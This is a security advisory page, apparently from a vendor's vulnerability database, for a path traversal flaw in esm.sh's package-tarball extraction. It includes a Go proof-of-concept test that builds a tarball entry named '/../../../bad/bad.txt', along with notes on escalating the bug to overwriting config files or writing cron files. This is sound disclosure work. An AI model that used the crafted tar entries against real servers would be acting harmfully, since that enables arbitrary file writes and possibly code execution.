Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹 Go

GHSA-2657-3c98-63jq

esm.sh has a path traversal in extractPackageTarball enables file writes from malicious packages

Also known asCVE-2026-23644GO-2026-4332
Published
Jan 20, 2026
Updated
Feb 27, 2026
Affected
2 pkgs
Patched
1 / 2
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk37th percentile+0.36%
0.00%0.33%0.65%0.98%0.1%0.5%Feb 26May 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

2 pkgs affected
🐹github.com/esm-dev/esm.sh🐹github.com/esm-dev/esm.sh

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The commit does not actually fix the path traversal bug. path.Clean basically normalizes a path but does not prevent absolute paths in a malicious tar file.

PoC

This test file can demonstrate the basic idea pretty easily:

package server

import (
	"archive/tar"
	"bytes"
	"compress/gzip"
	"testing"
)

// TestExtractPackageTarball_PathTraversal tests the extractPackageTarball function
// with a malicious tarball containing a path traversal attempt
func TestExtractPackageTarball_PathTraversal(t *testing.T) {
	// Create a temporary directory for testing
	installDir := "./testdata/good"

	// Create a malicious tarball with path traversal
	var buf bytes.Buffer
	gw := gzip.NewWriter(&buf)
	tw := tar.NewWriter(gw)

	// Add a normal file
	content := []byte("export const foo = 'bar';")
	header := &tar.Header{
		Name:     "package/index.js",
		Mode:     0644,
		Size:     int64(len(content)),
		Typeflag: tar.TypeReg,
	}
	if err := tw.WriteHeader(header); err != nil {
		t.Fatal(err)
	}
	if _, err := tw.Write(content); err != nil {
		t.Fatal(err)
	}

	// Add a malicious file with path traversal
	bad := []byte("bad")
	header = &tar.Header{
		Name:     "/../../../bad/bad.txt",
		Mode:     0644,
		Size:     int64(len(bad)),
		Typeflag: tar.TypeReg,
	}
	if err := tw.WriteHeader(header); err != nil {
		t.Fatal(err)
	}
	if _, err := tw.Write(bad); err != nil {
		t.Fatal(err)
	}

	tw.Close()
	gw.Close()

	// Call extractPackageTarball with the malicious tarball
	if err := extractPackageTarball(installDir, "test-package", bytes.NewReader(buf.Bytes())); err != nil {
		t.Errorf("extractPackageTarball returned error: %v", err)
	}
}

Impact

It, at the very least, seems to enable overwriting the esm.sh configuration file and poisoning cached packages.

Arbitrary file write can lead to server-side code execution (e.g. Writing to cron files) but it may not be feasible for the default deployment configuration that is checked in. Whether some self-hosted configuration is modified to enable code execution is unclear.

The limiting factors in the default setup that limit escalating this to code execution:

  • extractPackageTarball has a file-extension check which makes some more "obvious" escalations like overwriting binaries in /esm/bin (e.g. deno) impractical since it requires the target file to have an allowlisted extension.
  • Using the Dockerfile in the repo as a baseline for the typical setup: The binary does not run as root and, for the most part, can really only write to /tmp and it's home directory.
  • The deployment scripts do not seem to rely on executing potentially poisoned files in `/tmp.

Fix

Using os.Root seems like it will solve this issue and doesn't require new dependencies.

Affected Packages

2 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/esm-dev/esm.sh0.0.1No fix
🐹Gogithub.com/esm-dev/esm.shall versions0.0.0-20260116051925-c62ab83c589e

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/esm-dev/esm.sh. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    No patched version of github.com/esm-dev/esm.sh has shipped for GHSA-2657-3c98-63jq yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-2657-3c98-63jq is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-2657-3c98-63jq. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary The [commit](https://github.com/esm-dev/esm.sh/commit/9d77b88c320733ff6689d938d85d246a3af9af16) does not actually fix the path traversal bug. `path.Clean` basically normalizes a path but does not prevent absolute paths in a malicious tar file. ### PoC This test file can demonstrate the basic idea pretty easily: ```go package server import ( "archive/tar" "bytes" "compress/gzip" "testing" ) // TestExtractPackageTarball_PathTraversal tests the extractPackageTarball function // with a malicious tarball containing a path traversal attempt func TestExtractPackageTarball_PathTr
O3 Security · Impact-Aware SCA

Is GHSA-2657-3c98-63jq in your dependencies?

O3 detects GHSA-2657-3c98-63jq across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.